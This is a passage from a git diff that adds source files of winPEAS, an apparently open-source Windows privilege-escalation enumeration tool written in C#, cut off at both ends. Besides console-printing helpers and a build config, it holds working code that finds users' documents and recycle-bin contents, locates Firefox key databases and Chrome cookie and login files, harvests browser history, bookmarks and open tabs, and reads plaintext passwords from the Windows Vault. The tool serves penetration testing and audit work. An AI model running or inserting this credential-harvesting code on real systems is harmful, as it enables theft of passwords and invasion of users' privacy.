string rgxp) + { + Regex regex = new Regex(rgxp); + Match match = regex.Match(to_match); + if (match.Success) + return to_match.Replace(match.Value, color + match.Value + NOCOLOR); + return to_match; + } + public static void DictPrint(Dictionary dicprint, Dictionary ansii_colors_regexp, bool delete_nulls) + { + try + { + foreach (KeyValuePair entry in dicprint) + { + if (delete_nulls && String.IsNullOrEmpty(entry.Value.Trim())) + continue; + string value = entry.Value; + string key = entry.Key; + foreach (KeyValuePair color in ansii_colors_regexp) + { + key = RegexAnsii(key, color.Value, color.Key); + value = RegexAnsii(value, color.Value, color.Key); + } + System.Console.WriteLine(" " + key + ": " + value); + } + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + public static void DictPrint(Dictionary dicprint, bool delete_nulls) + { + try + { + if (dicprint.Count > 0) + { + foreach (KeyValuePair entry in dicprint) + { + if (delete_nulls && String.IsNullOrEmpty(entry.Value)) + continue; + if (Program.using_ansii) + System.Console.WriteLine(" " + entry.Key + ": " + entry.Value); + + else + { + Formatter[] colorsString = new Formatter[] + { + new Formatter(entry.Key, color_key), + new Formatter(entry.Value, color_default), + }; + string formString = " {0}" + new String(' ', (entry.Key.Length <= 30 ? 30 - entry.Key.Length : 0)) + ": {1}"; + Colorful.Console.WriteLineFormatted(formString, color_key, colorsString); + } + } + } + else + NotFoundPrint(); + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + public static void DictPrint(Dictionary dicprint, StyleSheet ssheet, bool delete_nulls) + { + try + { + if (dicprint.Count > 0) + { + string formString = " {0,-30}: {1}"; + + foreach (KeyValuePair entry in dicprint) + { + if (delete_nulls && String.IsNullOrEmpty(entry.Value)) + continue; + //Check if a string is already painted (the stylesheet will contains red color first and dont want of overwrite that) + bool repeated = false; + foreach (StyleClass sstext in ssheet.Styles) + { + string target = sstext.Target.Value; + if (Regex.Match(entry.Key, target).Success || Regex.Match(" " + entry.Key, target).Success) + { + repeated = true; + break; + } + } + if (!repeated) + ssheet.AddStyle(" " + entry.Key.Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)").Replace("]", "\\]").Replace("[", "\\[").Replace("?", "\\?"), color_key); + + Colorful.Console.WriteLineStyled(String.Format(formString, entry.Key, entry.Value), ssheet); + } + } + else + NotFoundPrint(); + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + public static void DictPrint(List> listdicprint, bool delete_nulls) + { + try + { + if (listdicprint.Count > 0) + { + foreach (Dictionary dicprint in listdicprint) + { + DictPrint(dicprint, delete_nulls); + PrintLineSeparator(); + } + } + else + NotFoundPrint(); + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + public static void DictPrint(Dictionary dicprint, bool delete_nulls) + { + try + { + if (dicprint != null) + { + Dictionary results = new Dictionary(); + foreach (KeyValuePair entry in dicprint) + results[entry.Key] = String.Format("{0}", entry.Value); + DictPrint(results, delete_nulls); + } + else + NotFoundPrint(); + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + public static void DictPrint(List> listdicprint, StyleSheet ssheet, bool delete_nulls) + { + try + { + if (listdicprint.Count > 0) + { + foreach (Dictionary dicprint in listdicprint) + { + DictPrint(dicprint, ssheet, delete_nulls); + PrintLineSeparator(); + } + } + else + NotFoundPrint(); + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + public static void DictPrint(List> listdicprint, Dictionary colors, bool delete_nulls) + { + try + { + if (listdicprint.Count > 0) + { + foreach (Dictionary dicprint in listdicprint) + { + DictPrint(dicprint, colors, delete_nulls); + PrintLineSeparator(); + } + } + else + NotFoundPrint(); + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + public static void LinePrint(string formString, List to_complete) + { + try + { + Formatter[] colorsString = new Formatter[to_complete.Count]; + for (int i = 0; i < to_complete.Count; i++) + { + colorsString[i] = new Formatter(to_complete[i], color_line[i % color_line.Count]); + } + Colorful.Console.WriteLineFormatted(formString, color_key, colorsString); + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + public static void ColumnPrint(string formString, List to_complete) + { + try + { + string[] params_format = new string[to_complete.Count]; + for (int i = 0; i < to_complete.Count; i++) + { + params_format[i] = "{" + i + "}"; + } + formString = String.Format(formString, params_format); + + Formatter[] colorsString = new Formatter[to_complete.Count]; + for (int i = 0; i < to_complete.Count; i++) + { + colorsString[i] = new Formatter(to_complete[i], color_line[i % color_line.Count]); + } + Colorful.Console.WriteLineFormatted(formString, color_key, colorsString); + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + public static void ListPrint(List list_to_print) + { + try + { + if (list_to_print.Count > 0) + { + if (Program.using_ansii) + { + foreach (string elem in list_to_print) + System.Console.WriteLine(" " + elem); + } + else + { + foreach (string elem in list_to_print) + Colorful.Console.WriteLine(" " + elem, color_default); + } + } + else + NotFoundPrint(); + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + public static void ListPrint(List list_to_print, Dictionary dic_colors) + { + if (list_to_print.Count > 0) + { + foreach (string elem in list_to_print) + AnsiiPrint(" " + elem, dic_colors); + } + else + NotFoundPrint(); + } + + public static void ListPrint(List list_to_print, StyleSheet ss) + { + try + { + if (list_to_print.Count > 0) + { + foreach (string elem in list_to_print) + Colorful.Console.WriteLineStyled(" " + elem, ss); + } + else + NotFoundPrint(); + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + + } +} diff --git a/winPEAS/winPEASexe/winPEAS/FodyWeavers.xml b/winPEAS/winPEASexe/winPEAS/FodyWeavers.xml new file mode 100755 index 0000000..f1dea8f --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/FodyWeavers.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/FodyWeavers.xsd b/winPEAS/winPEASexe/winPEAS/FodyWeavers.xsd new file mode 100755 index 0000000..8ac6e92 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/FodyWeavers.xsd @@ -0,0 +1,111 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/InterestingFiles.cs b/winPEAS/winPEASexe/winPEAS/InterestingFiles.cs new file mode 100755 index 0000000..6570432 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/InterestingFiles.cs @@ -0,0 +1,115 @@ +using System; +using System.Collections.Generic; +using System.Reflection; +using System.Runtime.InteropServices; + +namespace winPEAS +{ + class InterestingFiles + { + public static List ListUsersDocs() + { + List results = new List(); + try + { + // returns files (w/ modification dates) that match the given pattern below + string patterns = "*diagram*;*.pdf;*.vsd;*.doc;*docx;*.xls;*.xlsx;"; + + if (MyUtils.IsHighIntegrity()) + { + string searchPath = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + + List files = MyUtils.FindFiles(searchPath, patterns); + + foreach (string file in files) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); + DateTime lastModified = System.IO.File.GetLastWriteTime(file); + results.Add(file); + } + } + + else + { + string searchPath = Environment.GetEnvironmentVariable("USERPROFILE"); + + List files = MyUtils.FindFiles(searchPath, patterns); + + foreach (string file in files) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); + DateTime lastModified = System.IO.File.GetLastWriteTime(file); + results.Add(file); + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + + public static List> GetRecycleBin() + { + List> results = new List>(); + try + { + // lists recently deleted files (needs to be run from a user context!) + + // Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files + int lastDays = 30; + + var startTime = System.DateTime.Now.AddDays(-lastDays); + + // Shell COM object GUID + Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000")); + Object shellObj = Activator.CreateInstance(shell); + + // namespace for recycle bin == 10 - https://msdn.microsoft.com/en-us/library/windows/desktop/bb762494(v=vs.85).aspx + Object recycle = shellObj.GetType().InvokeMember("Namespace", BindingFlags.InvokeMethod, null, shellObj, new object[] { 10 }); + // grab all the deletes items + Object items = recycle.GetType().InvokeMember("Items", BindingFlags.InvokeMethod, null, recycle, null); + // grab the number of deleted items + Object count = items.GetType().InvokeMember("Count", BindingFlags.GetProperty, null, items, null); + int deletedCount = Int32.Parse(count.ToString()); + + // iterate through each item + for (int i = 0; i < deletedCount; i++) + { + // grab the specific deleted item + Object item = items.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, items, new object[] { i }); + Object DateDeleted = item.GetType().InvokeMember("ExtendedProperty", BindingFlags.InvokeMethod, null, item, new object[] { "System.Recycle.DateDeleted" }); + DateTime modifiedDate = DateTime.Parse(DateDeleted.ToString()); + if (modifiedDate > startTime) + { + // additional extended properties from https://blogs.msdn.microsoft.com/oldnewthing/20140421-00/?p=1183 + Object Name = item.GetType().InvokeMember("Name", BindingFlags.GetProperty, null, item, null); + Object Path = item.GetType().InvokeMember("Path", BindingFlags.GetProperty, null, item, null); + Object Size = item.GetType().InvokeMember("Size", BindingFlags.GetProperty, null, item, null); + Object DeletedFrom = item.GetType().InvokeMember("ExtendedProperty", BindingFlags.InvokeMethod, null, item, new object[] { "System.Recycle.DeletedFrom" }); + results.Add(new Dictionary() + { + { "Name", String.Format("{0}", Name) }, + { "Path", String.Format("{0}", Path) }, + { "Size", String.Format("{0}", Size) }, + { "Deleted from", String.Format("{0}", DeletedFrom) }, + { "Date Deleted", String.Format("{0}", DateDeleted) } + }); + } + Marshal.ReleaseComObject(item); + item = null; + } + Marshal.ReleaseComObject(recycle); + recycle = null; + Marshal.ReleaseComObject(shellObj); + shellObj = null; + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/KnownFileCredsInfo.cs b/winPEAS/winPEASexe/winPEAS/KnownFileCredsInfo.cs new file mode 100755 index 0000000..170a3e7 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/KnownFileCredsInfo.cs @@ -0,0 +1,2577 @@ +using CredentialManagement; +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Text; +using System.Text.RegularExpressions; +using System.Web.Script.Serialization; +using System.Xml; + + +namespace winPEAS +{ + class KnownFileCredsInfo + { + public static List GetFirefoxDbs() + { + List results = new List(); + // checks if Firefox has a history database + try + { + if (MyUtils.IsHighIntegrity()) + { + string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + string[] dirs = Directory.GetDirectories(userFolder); + foreach (string dir in dirs) + { + string[] parts = dir.Split('\\'); + string userName = parts[parts.Length - 1]; + if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + { + string userFirefoxBasePath = String.Format("{0}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", dir); + if (System.IO.Directory.Exists(userFirefoxBasePath)) + { + string[] directories = Directory.GetDirectories(userFirefoxBasePath); + foreach (string directory in directories) + { + string firefoxCredentialFile3 = String.Format("{0}\\{1}", directory, "key3.db"); + if (System.IO.File.Exists(firefoxCredentialFile3)) + results.Add(firefoxCredentialFile3); + + string firefoxCredentialFile4 = String.Format("{0}\\{1}", directory, "key4.db"); + if (System.IO.File.Exists(firefoxCredentialFile4)) + results.Add(firefoxCredentialFile3); + } + } + } + } + } + else + { + string userName = Environment.GetEnvironmentVariable("USERNAME"); + string userFirefoxBasePath = String.Format("{0}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); + + if (System.IO.Directory.Exists(userFirefoxBasePath)) + { + string[] directories = Directory.GetDirectories(userFirefoxBasePath); + foreach (string directory in directories) + { + string firefoxCredentialFile3 = String.Format("{0}\\{1}", directory, "key3.db"); + if (System.IO.File.Exists(firefoxCredentialFile3)) + results.Add(firefoxCredentialFile3); + + string firefoxCredentialFile4 = String.Format("{0}\\{1}", directory, "key4.db"); + if (System.IO.File.Exists(firefoxCredentialFile4)) + results.Add(firefoxCredentialFile4); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + + return results; + } + + + public static List ParseFirefoxHistory(string path, string user) + { + List results = new List(); + // parses a Firefox history file via regex + if (System.IO.Directory.Exists(path)) + { + string[] directories = Directory.GetDirectories(path); + foreach (string directory in directories) + { + string firefoxHistoryFile = String.Format("{0}\\{1}", directory, "places.sqlite"); + Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?"); + + try + { + using (StreamReader r = new StreamReader(firefoxHistoryFile)) + { + string line; + while ((line = r.ReadLine()) != null) + { + Match m = historyRegex.Match(line); + if (m.Success) + results.Add(m.Groups[0].ToString().Trim()); + } + } + } + catch (System.IO.IOException exception) + { + Console.WriteLine("\r\n [x] IO exception, places.sqlite file likely in use (i.e. Firefox is likely running).", exception.Message); + } + catch (Exception exception) + { + Console.WriteLine("\r\n [x] Exception: {0}", exception.Message); + } + } + } + return results; + } + + public static List GetFirefoxHistory() + { + List results = new List(); + try + { + if (MyUtils.IsHighIntegrity()) + { + string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + string[] dirs = Directory.GetDirectories(userFolder); + foreach (string dir in dirs) + { + string[] parts = dir.Split('\\'); + string userName = parts[parts.Length - 1]; + if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + { + string userFirefoxBasePath = String.Format("{0}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", dir); + results = ParseFirefoxHistory(userFirefoxBasePath, userName); + } + } + } + else + { + string userName = Environment.GetEnvironmentVariable("USERNAME"); + string userFirefoxBasePath = String.Format("{0}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); + results = ParseFirefoxHistory(userFirefoxBasePath, userName); + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + + public static Dictionary GetChromeDbs() + { + Dictionary results = new Dictionary(); + // checks if Chrome has a history database + try + { + if (MyUtils.IsHighIntegrity()) + { + string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + string[] dirs = Directory.GetDirectories(userFolder); + foreach (string dir in dirs) + { + string[] parts = dir.Split('\\'); + string userName = parts[parts.Length - 1]; + if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + { + string userChromeCookiesPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir); + if (System.IO.File.Exists(userChromeCookiesPath)) + results["userChromeCookiesPath"] = userChromeCookiesPath; + + string userChromeLoginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir); + if (System.IO.File.Exists(userChromeLoginDataPath)) + results["userChromeLoginDataPath"] = userChromeLoginDataPath; + } + } + } + else + { + string userChromeCookiesPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); + if (System.IO.File.Exists(userChromeCookiesPath)) + results["userChromeCookiesPath"] = userChromeCookiesPath; + + string userChromeLoginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); + if (System.IO.File.Exists(userChromeLoginDataPath)) + results["userChromeLoginDataPath"] = userChromeLoginDataPath; + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + + + + public static List ParseChromeHistory(string path, string user) + { + List results = new List(); + + // parses a Chrome history file via regex + if (System.IO.File.Exists(path)) + { + Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?"); + + try + { + using (StreamReader r = new StreamReader(path)) + { + string line; + while ((line = r.ReadLine()) != null) + { + Match m = historyRegex.Match(line); + if (m.Success) + { + results.Add(m.Groups[0].ToString().Trim()); + } + } + } + } + catch (System.IO.IOException exception) + { + Console.WriteLine("\r\n [x] IO exception, history file likely in use (i.e. Browser is likely running): ", exception.Message); + } + catch (Exception exception) + { + Console.WriteLine("\r\n [x] Exception: {0}", exception.Message); + } + } + return results; + } + + + public static List ParseChromeBookmarks(string path, string user) + { + List results = new List(); + // parses a Chrome bookmarks + if (System.IO.File.Exists(path)) + { + try + { + string contents = System.IO.File.ReadAllText(path); + + // reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/ + JavaScriptSerializer json = new JavaScriptSerializer(); + Dictionary deserialized = json.Deserialize>(contents); + Dictionary roots = (Dictionary)deserialized["roots"]; + Dictionary bookmark_bar = (Dictionary)roots["bookmark_bar"]; + System.Collections.ArrayList children = (System.Collections.ArrayList)bookmark_bar["children"]; + + foreach (Dictionary entry in children) + { + //Console.WriteLine(" Name: {0}", entry["name"].ToString().Trim()); + if (entry.ContainsKey("url")) + results.Add(entry["url"].ToString().Trim()); + } + } + catch (System.IO.IOException exception) + { + Console.WriteLine("\r\n [x] IO exception, Bookmarks file likely in use (i.e. Chrome is likely running).", exception.Message); + } + catch (Exception exception) + { + Console.WriteLine("\r\n [x] Exception: {0}", exception.Message); + } + } + return results; + } + + + public static Dictionary> GetChromeHistBook() + { + Dictionary> results = new Dictionary>() + { + { "history", new List() }, + { "bookarks", new List() }, + }; + try + { + if (MyUtils.IsHighIntegrity()) + { + Console.WriteLine("\r\n\r\n=== Chrome (All Users) ==="); + + string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + string[] dirs = Directory.GetDirectories(userFolder); + foreach (string dir in dirs) + { + string[] parts = dir.Split('\\'); + string userName = parts[parts.Length - 1]; + if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + { + string userChromeHistoryPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", dir); + results["history"] = ParseChromeHistory(userChromeHistoryPath, userName); + + string userChromeBookmarkPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", dir); + results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath, userName); + } + } + } + else + { + string userChromeHistoryPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", System.Environment.GetEnvironmentVariable("USERPROFILE")); + results["history"] = ParseChromeHistory(userChromeHistoryPath, System.Environment.GetEnvironmentVariable("USERNAME")); + + string userChromeBookmarkPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", System.Environment.GetEnvironmentVariable("USERPROFILE")); + + results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath, System.Environment.GetEnvironmentVariable("USERNAME")); + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + + + + public static Dictionary> GetIEHistFav() + { + int lastDays = 90; + Dictionary> results = new Dictionary>() + { + { "history", new List() }, + { "favorites", new List() }, + }; + + DateTime startTime = System.DateTime.Now.AddDays(-lastDays); + + try + { + if (MyUtils.IsHighIntegrity()) + { + string[] SIDs = Registry.Users.GetSubKeyNames(); + foreach (string SID in SIDs) + { + if (SID.StartsWith("S-1-5") && !SID.EndsWith("_Classes")) + { + Dictionary settings = MyUtils.GetRegValues("HKU", String.Format("{0}\\SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLs", SID)); + if ((settings != null) && (settings.Count > 1)) + { + foreach (KeyValuePair kvp in settings) + { + byte[] timeBytes = MyUtils.GetRegValueBytes("HKU", String.Format("{0}\\SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime", SID), kvp.Key.ToString().Trim()); + if (timeBytes != null) + { + long timeLong = (long)(BitConverter.ToInt64(timeBytes, 0)); + DateTime urlTime = DateTime.FromFileTime(timeLong); + if (urlTime > startTime) + { + results["history"].Add(kvp.Value.ToString().Trim()); + } + } + } + } + } + } + + string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + string[] dirs = Directory.GetDirectories(userFolder); + foreach (string dir in dirs) + { + string[] parts = dir.Split('\\'); + string userName = parts[parts.Length - 1]; + if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + { + string userIEBookmarkPath = String.Format("{0}\\Favorites\\", dir); + + if (Directory.Exists(userIEBookmarkPath)) + { + string[] bookmarkPaths = Directory.GetFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories); + if (bookmarkPaths.Length != 0) + { + foreach (string bookmarkPath in bookmarkPaths) + { + using (StreamReader rdr = new StreamReader(bookmarkPath)) + { + string line; + string url = ""; + while ((line = rdr.ReadLine()) != null) + { + if (line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase)) + { + if (line.Length > 4) + url = line.Substring(4); + break; + } + } + results["history"].Add(url.ToString().Trim()); + } + } + } + } + } + } + } + else + { + Dictionary settings = MyUtils.GetRegValues("HKCU", "SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLs"); + if ((settings != null) && (settings.Count != 0)) + { + foreach (KeyValuePair kvp in settings) + { + byte[] timeBytes = MyUtils.GetRegValueBytes("HKCU", "SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime", kvp.Key.ToString().Trim()); + if (timeBytes != null) + { + long timeLong = (long)(BitConverter.ToInt64(timeBytes, 0)); + DateTime urlTime = DateTime.FromFileTime(timeLong); + if (urlTime > startTime) + { + results["history"].Add(kvp.Value.ToString().Trim()); + } + } + } + } + + string userIEBookmarkPath = String.Format("{0}\\Favorites\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); + + string[] bookmarkPaths = Directory.GetFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories); + + foreach (string bookmarkPath in bookmarkPaths) + { + using (StreamReader rdr = new StreamReader(bookmarkPath)) + { + string line; + string url = ""; + while ((line = rdr.ReadLine()) != null) + { + if (line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase)) + { + if (line.Length > 4) + url = line.Substring(4); + break; + } + } + results["favorites"].Add(url.ToString().Trim()); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex); + } + return results; + } + + + public static List GetCurrentIETabs() + { + List results = new List(); + // Lists currently open Internet Explorer tabs, via COM + // Notes: + // https://searchcode.com/codesearch/view/9859954/ + // https://gist.github.com/yizhang82/a1268d3ea7295a8a1496e01d60ada816 + + try + { + // Shell.Application COM GUID + Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000")); + + // actually instantiate the Shell.Application COM object + Object shellObj = Activator.CreateInstance(shell); + + // grab all the current windows + Object windows = shellObj.GetType().InvokeMember("Windows", BindingFlags.InvokeMethod, null, shellObj, null); + + // grab the open tab count + Object openTabs = windows.GetType().InvokeMember("Count", BindingFlags.GetProperty, null, windows, null); + int openTabsCount = Int32.Parse(openTabs.ToString()); + + for (int i = 0; i < openTabsCount; i++) + { + // grab the acutal tab + Object item = windows.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, windows, new object[] { i }); + try + { + // extract the tab properties + Object locationName = item.GetType().InvokeMember("LocationName", BindingFlags.GetProperty, null, item, null); + Object locationURL = item.GetType().InvokeMember("LocationUrl", BindingFlags.GetProperty, null, item, null); + + // ensure we have a site address + if (Regex.IsMatch(locationURL.ToString(), @"(^https?://.+)|(^ftp://)")) + { + results.Add(String.Format("{0}", locationURL)); + } + Marshal.ReleaseComObject(item); + item = null; + } + catch + { + // + } + } + Marshal.ReleaseComObject(windows); + windows = null; + Marshal.ReleaseComObject(shellObj); + shellObj = null; + } + catch (Exception ex2) + { + Console.WriteLine(" [X] Exception: {0}", ex2); + } + return results; + } + + + public static class VaultCli + { + // pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs + public enum VAULT_ELEMENT_TYPE : Int32 + { + Undefined = -1, + Boolean = 0, + Short = 1, + UnsignedShort = 2, + Int = 3, + UnsignedInt = 4, + Double = 5, + Guid = 6, + String = 7, + ByteArray = 8, + TimeStamp = 9, + ProtectedArray = 10, + Attribute = 11, + Sid = 12, + Last = 13 + } + + public enum VAULT_SCHEMA_ELEMENT_ID : Int32 + { + Illegal = 0, + Resource = 1, + Identity = 2, + Authenticator = 3, + Tag = 4, + PackageSid = 5, + AppStart = 100, + AppEnd = 10000 + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] + public struct VAULT_ITEM_WIN8 + { + public Guid SchemaId; + public IntPtr pszCredentialFriendlyName; + public IntPtr pResourceElement; + public IntPtr pIdentityElement; + public IntPtr pAuthenticatorElement; + public IntPtr pPackageSid; + public UInt64 LastModified; + public UInt32 dwFlags; + public UInt32 dwPropertiesCount; + public IntPtr pPropertyElements; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] + public struct VAULT_ITEM_WIN7 + { + public Guid SchemaId; + public IntPtr pszCredentialFriendlyName; + public IntPtr pResourceElement; + public IntPtr pIdentityElement; + public IntPtr pAuthenticatorElement; + public UInt64 LastModified; + public UInt32 dwFlags; + public UInt32 dwPropertiesCount; + public IntPtr pPropertyElements; + } + + [StructLayout(LayoutKind.Explicit, CharSet = CharSet.Ansi)] + public struct VAULT_ITEM_ELEMENT + { + [FieldOffset(0)] + public VAULT_SCHEMA_ELEMENT_ID SchemaElementId; + [FieldOffset(8)] + public VAULT_ELEMENT_TYPE Type; + } + + [DllImport("vaultcli.dll")] + public extern static Int32 VaultOpenVault(ref Guid vaultGuid, UInt32 offset, ref IntPtr vaultHandle); + + [DllImport("vaultcli.dll")] + public extern static Int32 VaultCloseVault(ref IntPtr vaultHandle); + + [DllImport("vaultcli.dll")] + public extern static Int32 VaultFree(ref IntPtr vaultHandle); + + [DllImport("vaultcli.dll")] + public extern static Int32 VaultEnumerateVaults(Int32 offset, ref Int32 vaultCount, ref IntPtr vaultGuid); + + [DllImport("vaultcli.dll")] + public extern static Int32 VaultEnumerateItems(IntPtr vaultHandle, Int32 chunkSize, ref Int32 vaultItemCount, ref IntPtr vaultItem); + + [DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")] + public extern static Int32 VaultGetItem_WIN8(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr pPackageSid, IntPtr zero, Int32 arg6, ref IntPtr passwordVaultPtr); + + [DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")] + public extern static Int32 VaultGetItem_WIN7(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr zero, Int32 arg5, ref IntPtr passwordVaultPtr); + + } + + + public static object GetVaultElementValue(IntPtr vaultElementPtr) + { + // Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct + // pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs + object results; + object partialElement = System.Runtime.InteropServices.Marshal.PtrToStructure(vaultElementPtr, typeof(VaultCli.VAULT_ITEM_ELEMENT)); + FieldInfo partialElementInfo = partialElement.GetType().GetField("Type"); + var partialElementType = partialElementInfo.GetValue(partialElement); + + IntPtr elementPtr = (IntPtr)(vaultElementPtr.ToInt64() + 16); + switch ((int)partialElementType) + { + case 7: // VAULT_ELEMENT_TYPE == String; These are the plaintext passwords! + IntPtr StringPtr = System.Runtime.InteropServices.Marshal.ReadIntPtr(elementPtr); + results = System.Runtime.InteropServices.Marshal.PtrToStringUni(StringPtr); + break; + case 0: // VAULT_ELEMENT_TYPE == bool + results = System.Runtime.InteropServices.Marshal.ReadByte(elementPtr); + results = (bool)results; + break; + case 1: // VAULT_ELEMENT_TYPE == Short + results = System.Runtime.InteropServices.Marshal.ReadInt16(elementPtr); + break; + case 2: // VAULT_ELEMENT_TYPE == Unsigned 